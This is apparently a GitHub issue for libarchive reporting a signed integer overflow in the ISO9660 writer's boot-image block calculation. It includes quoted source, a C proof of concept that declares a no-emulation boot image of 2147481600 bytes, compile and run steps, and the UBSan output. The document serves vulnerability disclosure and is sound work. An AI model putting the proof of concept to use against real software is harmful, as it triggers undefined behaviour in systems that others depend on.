Skip to content

Integer Overflow in the ISO9660 writer #3269

Description

@0x4A-210

The issue occurs when closing an ISO image that contains an El Torito no-emulation boot image entry with a declared size near INT_MAX. During archive_write_close(), libarchive computes the boot image block count in isoent_setup_file_location().

For no-emulation boot images, fd_boot_image_size() returns 0, so the code falls back to archive_entry_size() for the boot entry size. If the declared size is 2147481600 (INT_MAX - 2048 + 1), (int)size is still representable, but adding LOGICAL_BLOCK_SIZE overflows signed int.

Relevant Codes

Affected code is in libarchive/archive_write_set_format_iso9660.c.

The ISO9660 writer registers iso9660_finish_entry() and iso9660_close() as the finish and close handlers:

a->format_data = iso9660;
a->format_name = "iso9660";
a->format_options = iso9660_options;
a->format_write_header = iso9660_write_header;
a->format_write_data = iso9660_write_data;
a->format_finish_entry = iso9660_finish_entry;
a->format_close = iso9660_close;
a->format_free = iso9660_free;

The public format options allow a caller to select a boot image path and force the El Torito media type to no-emulation:

if (strcmp(key, "boot") == 0) {
	if (value == NULL)
		iso9660->opt.boot = 0;
	else {
		iso9660->opt.boot = 1;
		archive_strcpy(
		    &(iso9660->el_torito.boot_filename),
		    value);
	}
	return (ARCHIVE_OK);
}

...

if (strcmp(key, "boot-type") == 0) {
	if (value == NULL)
		goto invalid_value;
	if (strcmp(value, "no-emulation") == 0)
		iso9660->opt.boot_type = OPT_BOOT_TYPE_NO_EMU;
	else if (strcmp(value, "fd") == 0)
		iso9660->opt.boot_type = OPT_BOOT_TYPE_FD;
	else if (strcmp(value, "hard-disk") == 0)
		iso9660->opt.boot_type = OPT_BOOT_TYPE_HARD_DISK;
	else
		goto invalid_value;
	return (ARCHIVE_OK);
}

When the PoC writes only the boot.img header, iso9660_write_header() creates the file entry, records it as the current file, and stores the declared entry size in bytes_remaining. No file body is written by the PoC:

/* Set the current file to cur_file to read its contents. */
iso9660->cur_file = file;

...

/* Save an offset of current file in temporary file. */
file->content.offset_of_temp = wb_offset(a);
file->cur_content = &(file->content);
r = zisofs_init(a, file);
if (r < ret)
	ret = r;
iso9660->bytes_remaining =  archive_entry_size(file->entry);

During archive_write_close(), the generic writer first finishes the current entry. In this case, because no archive_write_data() call was made, cur_file->content.size is still zero. iso9660_finish_entry() returns immediately before the zero-fill loop, so the close path does not need to write the declared 2GB boot image body:

static int
iso9660_finish_entry(struct archive_write *a)
{
	struct iso9660 *iso9660 = a->format_data;

	if (iso9660->cur_file == NULL)
		return (ARCHIVE_OK);
	if (archive_entry_filetype(iso9660->cur_file->entry) != AE_IFREG)
		return (ARCHIVE_OK);
	if (iso9660->cur_file->content.size == 0)
		return (ARCHIVE_OK);

	/* If there are unwritten data, write null data instead. */
	while (iso9660->bytes_remaining > 0) {
		size_t s;

		s = (iso9660->bytes_remaining > a->null_length)?
		    a->null_length: (size_t)iso9660->bytes_remaining;
		if (write_iso9660_data(a, a->nulls, s) < 0)
			return (ARCHIVE_FATAL);
		iso9660->bytes_remaining -= s;
	}

After that, iso9660_close() prepares the bootable ISO metadata. It locates the boot file entry, creates the boot catalog, calculates the base block count, and calls isoent_setup_file_location():

static int
iso9660_close(struct archive_write *a)
{
	struct iso9660 *iso9660;
	int ret, blocks;

	iso9660 = a->format_data;

	...

	/*
	 * Prepare a bootable ISO image.
	 */
	if (iso9660->opt.boot) {
		/* Find out the boot file entry. */
		ret = isoent_find_out_boot_file(a, iso9660->primary.rootent);
		if (ret < 0)
			return (ret);
		/* Reconvert the boot file from zisofs'ed form to
		 * plain form. */
		ret = zisofs_rewind_boot_file(a);
		if (ret < 0)
			return (ret);
		/* Write remaining data out to the temporary file. */
		if (wb_remaining(a) > 0) {
			ret = wb_write_out(a);
			if (ret < 0)
				return (ret);
		}
		/* Create the boot catalog. */
		ret = isoent_create_boot_catalog(a, iso9660->primary.rootent);
		if (ret < 0)
			return (ret);
	}

	...

	blocks = SYSTEM_AREA_BLOCK
		+ PRIMARY_VOLUME_DESCRIPTOR_BLOCK
		+ VOLUME_DESCRIPTOR_SET_TERMINATOR_BLOCK
		+ NON_ISO_FILE_SYSTEM_INFORMATION_BLOCK;
	if (iso9660->opt.boot)
		blocks += BOOT_RECORD_DESCRIPTOR_BLOCK;

	...

	/* Setup the locations of all file contents. */
	isoent_setup_file_location(iso9660, blocks);
	blocks += iso9660->total_file_block;

The boot lookup uses the caller-controlled boot option to select the matching archive entry and marks it as the El Torito boot image:

static int
isoent_find_out_boot_file(struct archive_write *a, struct isoent *rootent)
{
	struct iso9660 *iso9660 = a->format_data;

	/* Find a isoent of the boot file. */
	iso9660->el_torito.boot = isoent_find_entry(rootent,
	    iso9660->el_torito.boot_filename.s);
	if (iso9660->el_torito.boot == NULL) {
		archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
		    "Can't find the boot image file ``%s''",
		    iso9660->el_torito.boot_filename.s);
		return (ARCHIVE_FATAL);
	}
	iso9660->el_torito.boot->file->boot = BOOT_IMAGE;
	return (ARCHIVE_OK);
}

isoent_create_boot_catalog() applies the selected boot type. When the caller uses boot-type=no-emulation, the media type becomes BOOT_MEDIA_NO_EMULATION:

/*
 * Get a boot media type.
 */
switch (iso9660->opt.boot_type) {
default:
case OPT_BOOT_TYPE_AUTO:
	/* Try detecting a media type of the boot image. */
	entry = iso9660->el_torito.boot->file->entry;
	if (archive_entry_size(entry) == FD_1_2M_SIZE)
		iso9660->el_torito.media_type =
		    BOOT_MEDIA_1_2M_DISKETTE;
	else if (archive_entry_size(entry) == FD_1_44M_SIZE)
		iso9660->el_torito.media_type =
		    BOOT_MEDIA_1_44M_DISKETTE;
	else if (archive_entry_size(entry) == FD_2_88M_SIZE)
		iso9660->el_torito.media_type =
		    BOOT_MEDIA_2_88M_DISKETTE;
	else
		/* We cannot decide whether the boot image is
		 * hard-disk. */
		iso9660->el_torito.media_type =
		    BOOT_MEDIA_NO_EMULATION;
	break;
case OPT_BOOT_TYPE_NO_EMU:
	iso9660->el_torito.media_type = BOOT_MEDIA_NO_EMULATION;
	break;
case OPT_BOOT_TYPE_HARD_DISK:
	iso9660->el_torito.media_type = BOOT_MEDIA_HARD_DISK;
	break;
case OPT_BOOT_TYPE_FD:
	entry = iso9660->el_torito.boot->file->entry;
	if (archive_entry_size(entry) <= FD_1_2M_SIZE)
		iso9660->el_torito.media_type =
		    BOOT_MEDIA_1_2M_DISKETTE;
	else if (archive_entry_size(entry) <= FD_1_44M_SIZE)
		iso9660->el_torito.media_type =
		    BOOT_MEDIA_1_44M_DISKETTE;
	else if (archive_entry_size(entry) <= FD_2_88M_SIZE)
		iso9660->el_torito.media_type =
		    BOOT_MEDIA_2_88M_DISKETTE;
	else {
		archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
		    "Boot image file(``%s'') size is too big "
		    "for fd type",
		    iso9660->el_torito.boot_filename.s);
		return (ARCHIVE_FATAL);
	}
	break;
}

For no-emulation and hard-disk media types, fd_boot_image_size() returns 0. Therefore, the later location setup code falls back to the declared archive entry size:

/*
 * If a media type is floppy, return its image size.
 * otherwise return 0.
 */
static size_t
fd_boot_image_size(int media_type)
{
	switch (media_type) {
	case BOOT_MEDIA_1_2M_DISKETTE:
		return (FD_1_2M_SIZE);
	case BOOT_MEDIA_1_44M_DISKETTE:
		return (FD_1_44M_SIZE);
	case BOOT_MEDIA_2_88M_DISKETTE:
		return (FD_2_88M_SIZE);
	default:
		return (0);
	}
}

The signed integer overflow occurs in isoent_setup_file_location():

static void
isoent_setup_file_location(struct iso9660 *iso9660, int location)
{
	struct isoent *isoent;
	struct isoent *np;
	struct isofile *file;
	size_t size;
	int block;

	...

	if ((isoent = iso9660->el_torito.boot) != NULL) {
		isoent->file->content.location = location;
		size = fd_boot_image_size(iso9660->el_torito.media_type);
		if (size == 0)
			size = (size_t)archive_entry_size(isoent->file->entry);
		block = ((int)size + LOGICAL_BLOCK_SIZE -1)
		    >> LOGICAL_BLOCK_BITS;
		location += block;
		iso9660->total_file_block += block;
		isoent->file->content.blocks = block;
	}

The problematic expression casts size to int before adding LOGICAL_BLOCK_SIZE. With a no-emulation boot image size of 2147481600, the addition 2147481600 + 2048 cannot be represented in signed int, resulting in UB.

PoC

#include <archive.h>
#include <archive_entry.h>

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct write_stats {
	size_t total_bytes;
	int force_failure;
};

static la_ssize_t
discard_write(struct archive *a, void *client_data, const void *buff, size_t length)
{
	struct write_stats *stats = (struct write_stats *)client_data;

	(void)a;
	(void)buff;
	if (stats->force_failure)
		return -1;
	stats->total_bytes += length;
	return (la_ssize_t)length;
}

static void
print_result(const char *step, struct archive *a, int r)
{
	if (r < ARCHIVE_WARN) {
		fprintf(stderr, "%s=%d error=%s\n", step, r,
		    archive_error_string(a));
	} else {
		fprintf(stderr, "%s=%d\n", step, r);
	}
}

int
main(int argc, char **argv)
{
	struct archive *a;
	struct archive_entry *entry;
	struct write_stats stats;
	int64_t declared_size = INT32_MAX;
	int r;

	memset(&stats, 0, sizeof(stats));
	if (argc > 1)
		declared_size = strtoll(argv[1], NULL, 0);
	if (argc > 2)
		stats.force_failure = 1;

	a = archive_write_new();
	if (a == NULL)
		return 2;

	r = archive_write_set_format_iso9660(a);
	print_result("set_format", a, r);
	if (r < ARCHIVE_WARN)
		return 3;

	r = archive_write_set_format_option(a, "iso9660", "boot", "boot.img");
	print_result("set_boot", a, r);
	if (r < ARCHIVE_WARN)
		return 4;

	r = archive_write_set_format_option(a, "iso9660", "boot-type",
	    "no-emulation");
	print_result("set_boot_type", a, r);
	if (r < ARCHIVE_WARN)
		return 5;

	r = archive_write_open(a, &stats, NULL, discard_write, NULL);
	print_result("open", a, r);
	if (r < ARCHIVE_WARN)
		return 6;

	entry = archive_entry_new();
	if (entry == NULL)
		return 7;

	archive_entry_set_pathname(entry, "boot.img");
	archive_entry_set_filetype(entry, AE_IFREG);
	archive_entry_set_perm(entry, 0644);
	archive_entry_set_size(entry, declared_size);
	fprintf(stderr, "declared_size=%lld\n", (long long)declared_size);

	r = archive_write_header(a, entry);
	print_result("write_header", a, r);
	archive_entry_free(entry);
	if (r < ARCHIVE_WARN)
		return 8;

	/* Do not write boot image data; verify close still reaches block calculation. */
	r = archive_write_close(a);
	print_result("close", a, r);
	fprintf(stderr, "discarded_output=%zu\n", stats.total_bytes);

	r = archive_write_free(a);
	fprintf(stderr, "free=%d\n", r);
	return 0;
}

Reproduce Step

  1. Compile
/usr/bin/clang \
  -fsanitize=address,undefined \
  -fno-omit-frame-pointer \
  -g -O1 \
  -I/path/to/libarchive/libarchive \
  /path/to/PoC.c \
  /path/to/libarchive.a \
  -o /output_dir/PoC_ELF \
  -lz -lbz2 -llzma -lzstd -lxml2 -lssl -lcrypto -lm -licuuc -licudata
  1. Run the ELF
ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0 \
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=0 \
timeout 5s \
  /output_dir/PoC_ELF \
  2147481600 fail
  1. Expect Output
set_format=0
set_boot=0
set_boot_type=0
open=0
declared_size=2147481600
write_header=0
/home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:5479:22: runtime error: signed integer overflow: 2147481600 + 2048 cannot be represented in type 'int'

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions